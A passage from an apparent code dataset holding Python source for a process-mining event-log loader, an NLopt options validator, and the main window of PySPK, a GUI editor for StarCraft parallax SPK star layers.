ignored += ['REG_DATE']\n if self.name in ['BPIC15_1.xes', 'BPIC15_2.xes', 'BPIC15_3.xes', 'BPIC15_4.xes', 'BPIC15_5.xes']:\n ignored += ['IDofConceptCase', 'case_type', 'endDate', 'endDatePlanned', 'landRegisterID', 'startDate']\n if self.name == 'BPI Challenge 2017 - Offer log':\n ignored += ['ApplicationID']\n if self.name == 'BPI Challenge 2019':\n ignored += ['Goods Receipt', 'Item', 'Purch. Doc. Category name', 'Purchasing Document', 'Source']\n\n keys = {}\n for c in self.cases:\n for key in c.attributes:\n if key not in keys and key not in ignored:\n keys[key] = True\n self._case_attribute_keys = sorted(keys.keys())\n\n return self._case_attribute_keys\n\n @property\n def event_attribute_types(self):\n return self.get_event_attribute_types()\n\n @property\n def case_attribute_types(self):\n return self.get_case_attribute_types()\n\n @property\n def unique_activities(self):\n return list(set([event.name for case in self.cases for event in case]))\n\n @property\n def unique_event_attribute_values(self):\n return dict((k, self.get_unique_event_attribute_values(k)) for k in self.event_attribute_keys)\n\n @property\n def unique_case_attribute_values(self):\n return dict((k, self.get_unique_case_attribute_values(k)) for k in self.case_attribute_keys)\n\n @property\n def event_attribute_dims(self):\n return [len(v) for v in self.unique_event_attribute_values.values()]\n\n @property\n def case_attribute_dims(self):\n return [len(v) for v in self.unique_case_attribute_values.values()]\n\n @property\n def num_activities(self):\n return len(self.unique_activities)\n\n @property\n def num_cases(self):\n return len(self.cases)\n\n @property\n def num_events(self):\n return self.case_lens.sum()\n\n @property\n def num_traces(self):\n return len(self.get_traces())\n\n @property\n def num_event_attributes(self):\n return len(self.event_attribute_keys)\n\n @property\n def num_case_attributes(self):\n return len(self.case_attribute_keys)\n\n @property\n def case_lens(self):\n return np.array([case.num_events for case in self.cases])\n\n @property\n def max_case_len(self):\n return self.case_lens.max()\n\n def get_traces(self, return_counts=False):\n return np.unique([case.trace for case in self.cases], return_counts=return_counts)\n\n @property\n def traces(self):\n return self.get_traces()\n\n @property\n def trace_probabilities(self):\n return self.trace_counts / float(self.num_cases)\n\n @property\n def trace_counts(self):\n traces, counts = self.get_traces(return_counts=True)\n return counts\n\n @staticmethod\n def load(eventlog_name):\n \"\"\"\n Load event log from file system.\n\n Supports JSON and XES files. Files can be gzipped.\n\n :param eventlog_name:\n :return:\n \"\"\"\n if not os.path.isabs(eventlog_name):\n eventlog_name = EVENTLOG_DIR / eventlog_name\n if eventlog_name.name.endswith('.xes') or eventlog_name.name.endswith('.xes.gz'):\n return EventLog.from_xes(eventlog_name)\n elif eventlog_name.name.endswith('.json') or eventlog_name.name.endswith('.json.gz'):\n return EventLog.from_json(eventlog_name)\n else:\n return EventLog.from_json(str(eventlog_name) + '.json.gz')\n\n @staticmethod\n def from_json(file_path):\n \"\"\"\n Parse event log from JSON.\n\n JSON can be gzipped\n\n :param file_path: path to json file\n :return:\n \"\"\"\n if not isinstance(file_path, str):\n file_path = str(file_path)\n\n if file_path.endswith('gz'):\n import gzip\n open = gzip.open\n\n # Read the file\n with open(file_path, 'rb') as f:\n log = json.loads(f.read().decode('utf-8'))\n\n event_log = EventLog(**log['attributes'])\n\n # Compatibility: Check for traces in log\n if 'traces' in log:\n case_key = 'traces'\n else:\n case_key = 'cases'\n\n for case in log[case_key]:\n _case = Case(id=case['id'], **case['attributes'])\n for e in case['events']:\n event = Event(name=e['name'], timestamp=e['timestamp'], **e['attributes'])\n _case.add_event(event)\n event_log.add_case(_case)\n\n return event_log\n\n @staticmethod\n def from_xes(file_path, classifier=0):\n \"\"\"\n Load an event log from an XES file\n\n :param file_path: path to xes file\n :return: EventLog object\n \"\"\"\n\n # parse the log with lxml\n log = etree.parse(file_path).getroot()\n\n def convert(a, type):\n if type == 'float' or type == '{http://www.xes-standard.org/}float':\n return float(a)\n elif type == 'int' or type == '{http://www.xes-stadnard.org/}int':\n return int(a)\n else:\n return str(a)\n\n def parse_case(case):\n events = []\n attr = {}\n for child in case:\n tag = etree.QName(child).localname\n if tag == 'event':\n event = parse_event(child)\n if event is not None:\n events.append(event)\n else:\n attr[child.attrib['key']] = convert(child.attrib['value'], child.tag)\n\n case_id = None\n if 'concept:name' in attr:\n case_id = attr['concept:name']\n\n return Case(id=case_id, events=events, **attr)\n\n def parse_event(event):\n attr = dict((attr.attrib['key'], convert(attr.attrib['value'], attr.tag)) for attr in event)\n\n timestamp = None\n # if 'time:timestamp' in global_attr['event'].keys():\n if 'time:timestamp' in attr:\n timestamp = attr['time:timestamp']\n\n name = ''\n if len(classifiers) > 0:\n keys = classifiers[classifier]['keys']\n check_keys = [key for key in keys if key not in attr]\n if len(check_keys) > 0:\n print(f'Classifier key(s) {\", \".join(check_keys)} could not be found in event.')\n return None\n values = [attr[key] for key in keys]\n name = '+'.join(values)\n\n return Event(name=name, timestamp=timestamp, **attr)\n\n def parse_attribute(attribute):\n nested = len(attribute)\n attr = {\n 'type': etree.QName(attribute.tag).localname,\n 'value': attribute.attrib['value']\n }\n if nested:\n nested_attr = [parse_attribute(a) for a in attribute]\n attr['attr'] = dict([attr for attr in nested_attr if attr[0] is not None])\n if 'key' not in attribute.attrib:\n print('Key field was not found in attribute.')\n return None, None\n else:\n return attribute.attrib['key'], attr\n\n ext = []\n global_attr = {}\n classifiers = []\n cases = []\n attr = {}\n\n for child in log:\n tag = etree.QName(child).localname\n if tag == 'extension':\n ext.append(dict(child.attrib))\n elif tag == 'global':\n scope = child.attrib['scope']\n global_attr[scope] = {}\n for attribute in child:\n attr_dict = {\n 'type': etree.QName(attribute.tag).localname,\n 'value': attribute.attrib['value']\n }\n global_attr[scope][attribute.attrib['key']] = attr_dict\n elif tag == 'classifier':\n name = child.attrib['name']\n keys = child.attrib['keys']\n keys = keys.split(' ')\n classifiers.append({'name': name, 'keys': keys})\n elif tag == 'trace':\n cases.append(parse_case(child))\n elif tag in ['string', 'date', 'int', 'float', 'boolean', 'id', 'list', 'container']:\n if child.attrib['key']:\n key, attribute = parse_attribute(child)\n if key is not None:\n attr[key] = attribute\n else:\n continue\n\n return EventLog(cases=cases, extensions=ext, global_attributes=global_attr, classifiers=classifiers, **attr)\n\n @staticmethod\n def from_csv(file_path):\n \"\"\"\n Load an event log from a CSV file\n\n :param file_path: path to CSV file\n :return: EventLog object\n \"\"\"\n # parse file as pandas dataframe\n df = pd.read_csv(file_path)\n\n # create event log\n event_log = EventLog()\n\n # iterate by distinct case id\n for case_id in np.unique(df['case_id']):\n _case = Case(id=case_id)\n # iterate over rows per case\n for index, row in df[df.case_id == case_id].iterrows():\n start_time = row['start_time']\n end_time = row['end_time']\n event_name = row['event']\n user = row['user']\n _event = Event(name=event_name, timestamp=start_time, end_time=end_time, user=user)\n _case.add_event(_event)\n event_log.add_case(_case)\n\n return event_log\n\n @property\n def json(self):\n \"\"\"Return json dictionary.\"\"\"\n return {\"cases\": [case.json for case in self.cases], \"attributes\": self.attributes}\n\n def dataframe(self, include_start_and_end=True):\n \"\"\"\n Return pandas DataFrame containing the event log in matrix format.\n\n :return: pandas.DataFrame\n \"\"\"\n\n start_event = Event(timestamp=None, **dict((a, EventLog.start_symbol) for a in self.event_attribute_keys))\n end_event = Event(timestamp=None, **dict((a, EventLog.end_symbol) for a in self.event_attribute_keys))\n\n frames = []\n for case_id, case in enumerate(self.cases):\n if case.id is not None:\n case_id = case.id\n if include_start_and_end:\n events = [start_event] + case.events + [end_event]\n start = 0\n else:\n events = case.events\n start = 1\n for event_pos, event in enumerate(events, start=start):\n frames.append({\n 'CaseId': case_id,\n 'ActivityName': event.name,\n 'Timestamp': event.timestamp,\n 'TimestampEnd': event.timestamp_end,\n **dict([('c_' + k, v) if event_pos == start else ('c_' + k, '') for k, v in\n case.attributes.items() if not k.startswith('_')]),\n **dict([i for i in event.attributes.items() if not i[0].startswith('_')])\n })\n\n return pd.DataFrame(frames)\n\n @property\n def pm4py(self):\n from pm4py.objects.log.log import Event as Pm4pyEvent\n from pm4py.objects.log.log import EventLog as Pm4pyEventLog\n from pm4py.objects.log.log import Trace as Pm4pyTrace\n log = Pm4pyEventLog()\n for case in self.cases:\n trace = Pm4pyTrace()\n for e in case:\n event = Pm4pyEvent()\n event['concept:name'] = e.name\n trace.append(event)\n log.append(trace)\n return log\n\n def to_xes(self, file):\n pass\n\n def save(self, name, p=0.0, number=1):\n base_name = f'{name}-{p:.1f}-{number}'\n cache_file = EVENTLOG_CACHE_DIR / f'{base_name}.h5'\n\n if cache_file.exists():\n os.remove(cache_file)\n\n self.save_json(EVENTLOG_DIR / f'{base_name}.json.gz')\n\n def save_json(self, file_path):\n \"\"\"\n Save the event log to a JSON file.\n\n :param file_path: absolute path for the JSON file\n :return:\n \"\"\"\n event_log = self.json\n with gzip.open(file_path, 'wt') as outfile:\n json.dump(event_log, outfile, sort_keys=True, indent=4, separators=(',', ': '))\n\n def save_csv(self, file_path):\n \"\"\"\n Save the event log to a CSV file.\n\n :param file_path: absolute path for the CSV file\n :return:\n \"\"\"\n if not file_path.endswith('.csv'):\n '.'.join((file_path, 'csv'))\n df = self.dataframe()\n df.to_csv(file_path, index=False)\n","repo_name":"tnolle/deepalign","sub_path":"deepalign/processmining/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":18195,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"5"} +{"seq_id":"30991593431","text":"from rsopt.configuration.options import Options\n\n\nclass Nlopt(Options):\n NAME = 'nlopt'\n # Ordering of required keys matters to validate method assignment is correct\n REQUIRED_OPTIONS = ('method', 'exit_criteria')\n # Only can allow what aposmm_localopt_support handles right now\n ALLOWED_METHODS = ('LN_BOBYQA', 'LN_SBPLX', 'LN_COBYLA', 'LN_NEWUOA',\n 'LN_NELDERMEAD', 'LD_MMA')\n\n @classmethod\n def _check_options(cls, options):\n for key in cls.REQUIRED_OPTIONS:\n assert options.get(key), f\"{key} must be defined in options to use {cls.NAME}\"\n proposed_method = options.get(cls.REQUIRED_OPTIONS[0])\n assert proposed_method in cls.ALLOWED_METHODS, \\\n f\"{proposed_method} not available for use in software {cls.NAME}\"","repo_name":"radiasoft/rsopt","sub_path":"rsopt/configuration/options/nlopt.py","file_name":"nlopt.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"5"} +{"seq_id":"39567429098","text":"\nfrom .Tool import Tool\nfrom .LayerRow import LayerRow\nfrom .PaletteTab import PaletteTab\nfrom .StarsTab import StarsTab\nfrom .PreviewDialog import PreviewDialog\nfrom .LayerCountDialog import LayerCountDialog\n\nfrom ..FileFormats import SPK\nfrom ..FileFormats import Palette\nfrom ..FileFormats import GRP\n\nfrom ..Utilities.utils import WIN_REG_AVAILABLE, register_registry\nfrom ..Utilities.UIKit import *\nfrom ..Utilities.Settings import Settings\nfrom ..Utilities.analytics import ga, GAScreen\nfrom ..Utilities.trace import setup_trace\nfrom ..Utilities import Assets\nfrom ..Utilities.MPQHandler import MPQHandler\nfrom ..Utilities.UpdateDialog import UpdateDialog\nfrom ..Utilities.PyMSError import PyMSError\nfrom ..Utilities.ErrorDialog import ErrorDialog\nfrom ..Utilities.SettingsDialog import SettingsDialog\nfrom ..Utilities.AboutDialog import AboutDialog\nfrom ..Utilities.HelpDialog import HelpDialog\nfrom ..Utilities.fileutils import check_allow_overwrite_internal_file\n\nLONG_VERSION = 'v%s' % Assets.version('PySPK')\n\nMOUSE_DOWN = 0\nMOUSE_MOVE = 1\nMOUSE_UP = 2\n\nMODIFIER_NONE = 0\nMODIFIER_SHIFT = 1\nMODIFIER_CTRL = 2\n\nclass PySPK(MainWindow):\n\tdef __init__(self, guifile=None):\n\t\tself.settings = Settings('PySPK', '1')\n\t\tself.settings.settings.files.set_defaults({\n\t\t\t'platformwpe':'MPQ:tileset\\\\platform.wpe'\n\t\t})\n\n\t\t#Window\n\t\tMainWindow.__init__(self)\n\t\tself.set_icon('PySPK')\n\t\tself.protocol('WM_DELETE_WINDOW', self.exit)\n\t\tga.set_application('PySPK', Assets.version('PySPK'))\n\t\tga.track(GAScreen('PySPK'))\n\t\tsetup_trace('PySPK', self)\n\t\tTheme.load_theme(self.settings.get('theme'), self)\n\n\t\tself.minsize(870, 547)\n\t\tself.maxsize(1000, 547)\n\n\t\tself.spk = None\n\t\tself.file = None\n\t\tself.edited = False\n\n\t\tself.update_title()\n\n\t\tself.platformwpe = None\n\n\t\tself.images = {}\n\t\tself.star_map = {}\n\t\tself.item_map = {}\n\n\t\tself.selected_image = None\n\t\tself.item_place_image = None\n\t\tself.selecting_start = None\n\t\tself.item_selecting_box = None\n\t\tself.selected_stars = []\n\t\tself.item_selection_boxs = []\n\n\t\tself.layer = IntVar()\n\t\tself.layer.trace('w', self.layer_updated)\n\t\tself.visible = IntVar()\n\t\tself.visible.trace('w', self.visible_updated)\n\t\tself.locked = IntVar()\n\t\tself.locked.trace('w', self.locked_updated)\n\t\tself.autovis = BooleanVar()\n\t\tself.autovis.trace('w', self.autovis_updated)\n\t\tself.autolock = BooleanVar()\n\t\tself.autolock.trace('w', self.autolock_updated)\n\t\tself.tool = IntVar()\n\t\tself.tool.set(Tool.Select)\n\n\t\tself.load_settings()\n\n\t\t#Toolbar\n\t\tself.toolbar = Toolbar(self)\n\t\tself.toolbar.add_button(Assets.get_image('new'), self.new, 'New', Ctrl.n)\n\t\tself.toolbar.add_gap()\n\t\tself.toolbar.add_button(Assets.get_image('open'), self.open, 'Open', Ctrl.o)\n\t\tself.toolbar.add_button(Assets.get_image('importc'), self.iimport, 'Import from BMP', Ctrl.i)\n\t\tself.toolbar.add_gap()\n\t\tself.toolbar.add_button(Assets.get_image('save'), self.save, 'Save', Ctrl.s, enabled=False, tags='file_open')\n\t\tself.toolbar.add_button(Assets.get_image('saveas'), self.saveas, 'Save As', Ctrl.Alt.a, enabled=False, tags='file_open')\n\t\tself.toolbar.add_button(Assets.get_image('exportc'), self.export, 'Export to BMP', Ctrl.e, enabled=False, tags=('file_open', 'has_layers'))\n\t\tself.toolbar.add_gap()\n\t\tself.toolbar.add_button(Assets.get_image('close'), self.close, 'Close', Ctrl.w, enabled=False, tags='file_open')\n\t\tself.toolbar.add_section()\n\t\tself.toolbar.add_button(Assets.get_image('fwp'), self.preview, 'Preview', Ctrl.l, enabled=False, tags='file_open')\n\t\tself.toolbar.add_section()\n\t\tself.toolbar.add_button(Assets.get_image('asc3topyai'), self.mpqsettings, 'Manage Settings', Ctrl.m)\n\t\tself.toolbar.add_section()\n\t\tself.toolbar.add_button(Assets.get_image('register'), self.register, 'Set as default *.spk editor (Windows Only)', enabled=WIN_REG_AVAILABLE)\n\t\tself.toolbar.add_button(Assets.get_image('help'), self.help, 'Help', Key.F1)\n\t\tself.toolbar.add_button(Assets.get_image('about'), self.about, 'About PySPK')\n\t\tself.toolbar.add_section()\n\t\tself.toolbar.add_button(Assets.get_image('exit'), self.exit, 'Exit', Shortcut.Exit)\n\t\tself.toolbar.pack(side=TOP, padx=1, pady=1, fill=X)\n\n\t\tframe = Frame(self)\n\t\tleftframe = Frame(frame)\n\t\tlayersframe = LabelFrame(leftframe, text='Layers:')\n\t\tf = Frame(layersframe)\n\t\tlistbox = Frame(f, border=2, relief=SUNKEN)\n\t\tself.rows = []\n\t\tfor l in range(5):\n\t\t\trow = LayerRow(listbox, selvar=self.layer, visvar=self.visible, lockvar=self.locked, layer=l)\n\t\t\trow.hide()\n\t\t\trow.pack(side=TOP, fill=X, expand=1)\n\t\t\tself.rows.append(row)\n\t\tlistbox.pack(side=TOP, padx=5, fill=X, expand=1)\n\n\t\tself.edit_toolbar = Toolbar(f)\n\t\tself.edit_toolbar.add_button(Assets.get_image('add'), self.add_layer, 'Add Layer', Key.Insert, enabled=False, tags=('file_open', 'can_add_layers'))\n\t\tself.edit_toolbar.add_button(Assets.get_image('remove'), self.remove_layer, 'Remove Layer', Key.Delete, enabled=False, tags='layer_selected')\n\t\tself.edit_toolbar.add_spacer(2, flexible=True)\n\t\tself.edit_toolbar.add_button(Assets.get_image('up'), lambda: self.move_layer(-1), 'Move Layer Up', enabled=False, tags='can_move_up')\n\t\tself.edit_toolbar.add_button(Assets.get_image('down'), lambda: self.move_layer(1), 'Move Layer Down', enabled=False, tags='can_move_down')\n\t\tself.edit_toolbar.add_gap()\n\t\tself.edit_toolbar.add_checkbutton(Assets.get_image('lock'), self.autolock, 'Auto-lock', enabled=False, tags='file_open')\n\t\tself.edit_toolbar.add_checkbutton(Assets.get_image('eye'), self.autovis, 'Auto-visibility', enabled=False, tags='file_open')\n\t\tself.edit_toolbar.pack(side=TOP, fill=X, padx=2)\n\n\t\tf.pack(padx=2, pady=2, expand=1, fill=BOTH)\n\t\tlayersframe.grid(row=0,column=0, sticky=NSEW, padx=(2,0))\n\n\t\tnotebook = Notebook(leftframe)\n\t\tself.palette_tab = PaletteTab(notebook, self)\n\t\tnotebook.add_tab(self.palette_tab, 'Palette')\n\t\tself.stars_tab = StarsTab(notebook, self)\n\t\tnotebook.add_tab(self.stars_tab, 'Stars')\n\t\tnotebook.grid(row=1,column=0, stick=NSEW, padx=(2,0), pady=(4,0))\n\n\t\tleftframe.grid_columnconfigure(0, weight=1)\n\t\tleftframe.grid_rowconfigure(1, weight=1)\n\t\tleftframe.grid(row=0, column=0, padx=2, pady=2, sticky=NSEW)\n\t\tframe.grid_columnconfigure(0, weight=1, minsize=128)\n\n\t\trightframe = Frame(frame, bd=1, relief=SUNKEN)\n\t\tself.skyCanvas = Canvas(rightframe, background='#000000', highlightthickness=0, width=SPK.SPK.LAYER_SIZE[0], height=SPK.SPK.LAYER_SIZE[1], theme_tag='preview')\n\t\tself.skyCanvas.pack(fill=BOTH)\n\t\tself.skyCanvas.focus_set()\n\t\tself.skyCanvas.bind(Mouse.Motion, lambda e,m=0: self.mouse_move(e,m))\n\t\tself.skyCanvas.bind(Shift.Motion, lambda e,m=MODIFIER_SHIFT: self.mouse_move(e,m))\n\t\tself.skyCanvas.bind(Cursor.Leave, self.mouse_leave)\n\t\tself.bind(Key.Up, lambda _: self.move_stars((0, -1)))\n\t\tself.bind(Key.Down, lambda _: self.move_stars((0, 1)))\n\t\tself.bind(Key.Left, lambda _: self.move_stars((-1, 0)))\n\t\tself.bind(Key.Right, lambda _: self.move_stars((1, 0)))\n\t\tself.bind(Key.Delete, lambda _: self.delete_stars())\n\t\tself.bind(Key.Backspace, lambda _: self.delete_stars())\n\t\trightframe.grid(row=0, column=1, padx=2, pady=2, sticky=NSEW)\n\t\tframe.pack(fill=X)\n\t\tmouse_events = (\n\t\t\t(Mouse.Click_Left, MOUSE_DOWN),\n\t\t\t(Mouse.Drag_Left, MOUSE_MOVE),\n\t\t\t(ButtonRelease.Click_Left, MOUSE_UP),\n\t\t)\n\t\tmouse_modifiers = (\n\t\t\t(None,0),\n\t\t\t(Modifier.Shift,MODIFIER_SHIFT),\n\t\t\t(Modifier.Ctrl,MODIFIER_CTRL)\n\t\t)\n\t\tfor base_event,etype in mouse_events:\n\t\t\tfor event_mod,mod in mouse_modifiers:\n\t\t\t\tevent = base_event\n\t\t\t\tif event_mod:\n\t\t\t\t\tevent = event_mod + event\n\t\t\t\tself.skyCanvas.bind(event, lambda e,t=etype,m=mod: self.mouse_event(e,t,m))\n\n\t\t#Statusbar\n\t\tself.status = StringVar()\n\t\tself.status.set('Load or create a Parallax SPK.')\n\t\tself.edit_status = StringVar()\n\t\tstatusbar = StatusBar(self)\n\t\tstatusbar.add_label(self.status, width=35)\n\t\tself.editstatus = statusbar.add_icon(Assets.get_image('save'))\n\t\tstatusbar.add_label(self.edit_status, weight=1)\n\t\tstatusbar.pack(side=BOTTOM, fill=X)\n\n\t\tself.mpqhandler = MPQHandler(self.settings.get('mpqs',[]))\n\t\tif (not 'mpqs' in self.settings or not len(self.settings['mpqs'])) and self.mpqhandler.add_defaults():\n\t\t\tself.settings['mpqs'] = self.mpqhandler.mpq_paths()\n\t\te = self.open_files()\n\n\t\tif guifile:\n\t\t\tself.open(file=guifile)\n\n\t\tUpdateDialog.check_update(self, 'PySPK')\n\n\t\tif e:\n\t\t\tself.mpqsettings(err=e)\n\n\tdef add_layer(self):\n\t\tlayer = SPK.SPKLayer()\n\t\tself.spk.layers.append(layer)\n\t\tl = len(self.spk.layers)-1\n\t\tself.layer.set(l)\n\t\tself.rows[l].show()\n\t\tself.action_states()\n\t\tself.edit()\n\n\tdef remove_layer(self):\n\t\tlayer = self.layer.get()\n\t\tif layer > -1 and (not len(self.spk.layers[layer].stars) or MessageBox.askyesno(parent=self, title='Delete Layer', message=\"Are you sure you want to delete the layer?\")):\n\t\t\tdel self.spk.layers[layer]\n\t\t\tself.skyCanvas.delete('layer%d' % layer)\n\t\t\tif layer < len(self.spk.layers):\n\t\t\t\tfor i in range(layer+1,len(self.spk.layers)+1):\n\t\t\t\t\tself.skyCanvas.addtag_withtag('layer%d' % (i-1), 'layer%d' % i)\n\t\t\t\t\tself.skyCanvas.dtag('layer%d' % i)\n\t\t\telse:\n\t\t\t\tself.layer.set(layer-1)\n\t\t\tself.rows[len(self.spk.layers)].hide()\n\t\t\tself.action_states()\n\t\t\tself.edit()\n\n\tdef move_layer(self, delta):\n\t\tcur_layer = self.layer.get()\n\t\tswap_layer = cur_layer + delta\n\t\tself.layer.set(swap_layer)\n\t\ttemp = self.spk.layers[cur_layer]\n\t\tself.spk.layers[cur_layer] = self.spk.layers[swap_layer]\n\t\tself.spk.layers[swap_layer] = temp\n\t\tself.skyCanvas.addtag_withtag('temp', 'layer%d' % cur_layer)\n\t\tself.skyCanvas.dtag('layer%d' % cur_layer)\n\t\tself.skyCanvas.addtag_withtag('layer%d' % cur_layer, 'layer%d' % swap_layer)\n\t\tself.skyCanvas.dtag('layer%d' % swap_layer)\n\t\tself.skyCanvas.addtag_withtag('layer%d' % swap_layer, 'temp')\n\t\tself.skyCanvas.dtag('temp')\n\t\tself.edit()\n\n\tdef open_files(self):\n\t\tself.mpqhandler.open_mpqs()\n\t\terr = None\n\t\ttry:\n\t\t\tplatformwpe = Palette.Palette()\n\t\t\tplatformwpe.load_file(self.mpqhandler.get_file(self.settings.settings.files.platformwpe))\n\t\texcept PyMSError as e:\n\t\t\terr = e\n\t\telse:\n\t\t\tself.platformwpe = platformwpe\n\t\tself.mpqhandler.close_mpqs()\n\t\treturn err\n\n\tdef mpqsettings(self, key=None, err=None):\n\t\tdata = [\n\t\t\t('Preview Settings',[\n\t\t\t\t('platform.wpe','The palette which holds the star palette.','platformwpe','WPE')\n\t\t\t]),\n\t\t\t('Theme',)\n\t\t]\n\t\tSettingsDialog(self, data, (550,430), err, settings=self.settings, mpqhandler=self.mpqhandler)\n\n\tdef unsaved(self):\n\t\tif self.spk and self.edited:\n\t\t\tfile = self.file\n\t\t\tif not file:\n\t\t\t\tfile = 'Unnamed.spk'\n\t\t\tsave = MessageBox.askquestion(parent=self, title='Save Changes?', message=\"Save changes to '%s'?\" % file, default=MessageBox.YES, type=MessageBox.YESNOCANCEL)\n\t\t\tif save != MessageBox.NO:\n\t\t\t\tif save == MessageBox.CANCEL:\n\t\t\t\t\treturn True\n\t\t\t\tif self.file:\n\t\t\t\t\tself.save()\n\t\t\t\telse:\n\t\t\t\t\tself.saveas()\n\n\tdef is_file_open(self):\n\t\treturn not not self.spk\n\n\tdef are_stars_selected(self):\n\t\treturn len(self.selected_stars) > 0\n\n\tdef is_layer_selected(self):\n\t\treturn self.layer.get() > -1\n\n\tdef is_image_selected(self):\n\t\treturn not not self.selected_image\n\n\tdef action_states(self):\n\t\tself.toolbar.tag_enabled('file_open', self.is_file_open())\n\t\tself.toolbar.tag_enabled('has_layers', self.spk and len(self.spk.layers) > 0)\n\n\t\tself.edit_toolbar.tag_enabled('file_open', self.is_file_open())\n\t\tself.edit_toolbar.tag_enabled('can_add_layers', self.spk and len(self.spk.layers) < 5)\n\t\tself.edit_toolbar.tag_enabled('layer_selected', self.is_layer_selected())\n\t\tself.edit_toolbar.tag_enabled('can_move_up', self.is_layer_selected() and self.layer.get() > 0)\n\t\tself.edit_toolbar.tag_enabled('can_move_down', self.is_layer_selected() and self.layer.get() < len(self.spk.layers)-1)\n\n\t\tself.palette_tab.action_states()\n\t\tself.stars_tab.action_states()\n\n\tdef edit(self, n=None):\n\t\tself.mark_edited()\n\t\tself.action_states()\n\n\tdef reload_list(self):\n\t\tfor l,row in enumerate(self.rows):\n\t\t\tif l < len(self.spk.layers):\n\t\t\t\trow.show()\n\t\t\telse:\n\t\t\t\trow.hide()\n\n\tdef layer_updated(self, *args):\n\t\tif not self.is_file_open():\n\t\t\treturn\n\t\tlayer = self.layer.get()\n\t\tif layer == -1:\n\t\t\treturn\n\t\tif self.autovis.get():\n\t\t\tself.visible.set(1 << layer)\n\t\tif self.autolock.get():\n\t\t\tself.locked.set((1+2+4+8+16) & ~(1 << layer))\n\t\tself.action_states()\n\n\tdef visible_updated(self, *args):\n\t\tif not self.is_file_open():\n\t\t\treturn\n\t\tvisible = self.visible.get()\n\t\tupdate_sel = False\n\t\tfor l,layer in enumerate(self.spk.layers):\n\t\t\tself.skyCanvas.itemconfig('layer%d' % l, state=(NORMAL if (visible & (1 << l)) else HIDDEN))\n\t\t\tfor star in layer.stars:\n\t\t\t\tif star in self.selected_stars:\n\t\t\t\t\tupdate_sel = True\n\t\t\t\t\tself.selected_stars.remove(star)\n\t\tself.stars_tab.update_list()\n\t\tif update_sel:\n\t\t\tself.update_selection()\n\n\tdef locked_updated(self, *args):\n\t\tif not self.is_file_open():\n\t\t\treturn\n\t\tupdated_sel = False\n\t\tfor layer in self.spk.layers:\n\t\t\tfor star in layer.stars:\n\t\t\t\tif star in self.selected_stars:\n\t\t\t\t\tupdated_sel = True\n\t\t\t\t\tself.selected_stars.remove(star)\n\t\tself.stars_tab.update_list()\n\t\tif updated_sel:\n\t\t\tself.update_selection()\n\n\tdef autovis_updated(self, *args):\n\t\tif not self.is_file_open() or not self.autovis.get():\n\t\t\treturn\n\t\tself.layer_updated()\n\n\tdef autolock_updated(self, *args):\n\t\tif not self.is_file_open() or not self.autolock.get():\n\t\t\treturn\n\t\tself.layer_updated()\n\n\tdef update_zorder(self):\n\t\tfor l in range(len(self.spk.layers)):\n\t\t\tself.skyCanvas.tag_lower('layer%d' % l)\n\t\tself.skyCanvas.lift('selection')\n\n\tdef get_image(self, spkimage):\n\t\tif not spkimage in self.images:\n\t\t\timage = GRP.frame_to_photo(self.platformwpe.palette, spkimage.pixels, None, size=False)\n\t\t\tself.images[spkimage] = image\n\t\treturn self.images.get(spkimage)\n\n\tdef update_star(self, star, layer):\n\t\tvisible = (self.visible.get() & (1 << layer))\n\t\tif star in self.item_map:\n\t\t\titem = self.item_map[star]\n\t\t\tself.skyCanvas.coords(item, star.x,star.y)\n\t\t\tself.skyCanvas.itemconfig(item, state=(NORMAL if visible else HIDDEN))\n\t\telse:\n\t\t\timage = self.get_image(star.image)\n\t\t\titem = self.skyCanvas.create_image(star.x,star.y, image=image, anchor=NW, tags='layer%d' % layer, state=(NORMAL if visible else HIDDEN))\n\t\t\tself.star_map[item] = star\n\t\t\tself.item_map[star] = item\n\tdef update_canvas(self):\n\t\tif not self.is_file_open():\n\t\t\treturn\n\t\tfor l,layer in enumerate(self.spk.layers):\n\t\t\tfor star in layer.stars:\n\t\t\t\tself.update_star(star, l)\n\t\tself.update_selection()\n\n\tdef update_stars(self):\n\t\tself.update_canvas()\n\t\tself.stars_tab.update_list()\n\n\tdef update_selection(self):\n\t\twhile len(self.selected_stars) < len(self.item_selection_boxs):\n\t\t\tself.skyCanvas.delete(self.item_selection_boxs[-1])\n\t\t\tdel self.item_selection_boxs[-1]\n\t\tfor i,star in enumerate(self.selected_stars):\n\t\t\tx1,y1,x2,y2 = star.x-1,star.y-1, star.x+star.image.width,star.y+star.image.height\n\t\t\tif i >= len(self.item_selection_boxs):\n\t\t\t\titem = self.skyCanvas.create_rectangle(x1,y1, x2,y2, width=1, outline='#F9515B', tags='selection')\n\t\t\t\tself.item_selection_boxs.append(item)\n\t\t\telse:\n\t\t\t\tself.skyCanvas.coords(self.item_selection_boxs[i], x1,y1, x2,y2)\n\t\tself.edit_status.set('%d stars selected' % len(self.selected_stars))\n\t\tself.stars_tab.update_selection()\n\n\t# def edit_star_settings(self, star=None):\n\t# \tif star == None:\n\t# \t\tstar = self.selected_stars[0]\n\t# \tif star and star.widget:\n\t# \t\tStarSettings(self, star)\n\n\tdef move_stars(self, delta):\n\t\tif not len(self.selected_stars):\n\t\t\treturn\n\t\tfor star in self.selected_stars:\n\t\t\tstar.x = max(0,star.x + delta[0])\n\t\t\tstar.y = max(0,star.y + delta[1])\n\t\tself.update_canvas()\n\t\tself.stars_tab.update_list()\n\t\tself.edit()\n\n\tdef delete_stars(self):\n\t\tif not len(self.selected_stars) or not MessageBox.askyesno(parent=self, title='Delete Stars', message=\"Are you sure you want to delete the stars?\"):\n\t\t\treturn\n\t\tfor star in self.selected_stars:\n\t\t\tself.skyCanvas.delete(self.item_map[star])\n\t\t\tdel self.item_map[star]\n\t\t\tfor layer in self.spk.layers:\n\t\t\t\ttry:\n\t\t\t\t\tlayer.stars.remove(star)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\tself.selected_stars = []\n\t\tself.update_selection()\n\t\tself.stars_tab.update_list()\n\t\tself.edit()\n\n\tdef select_event(self, event, button_event, modifier):\n\t\tif button_event == MOUSE_DOWN:\n\t\t\tself.selecting_start = (event.x,event.y)\n\t\telif button_event == MOUSE_MOVE:\n\t\t\tif self.item_selecting_box == None:\n\t\t\t\tself.item_selecting_box = self.skyCanvas.create_rectangle(event.x,event.y, event.x,event.y, 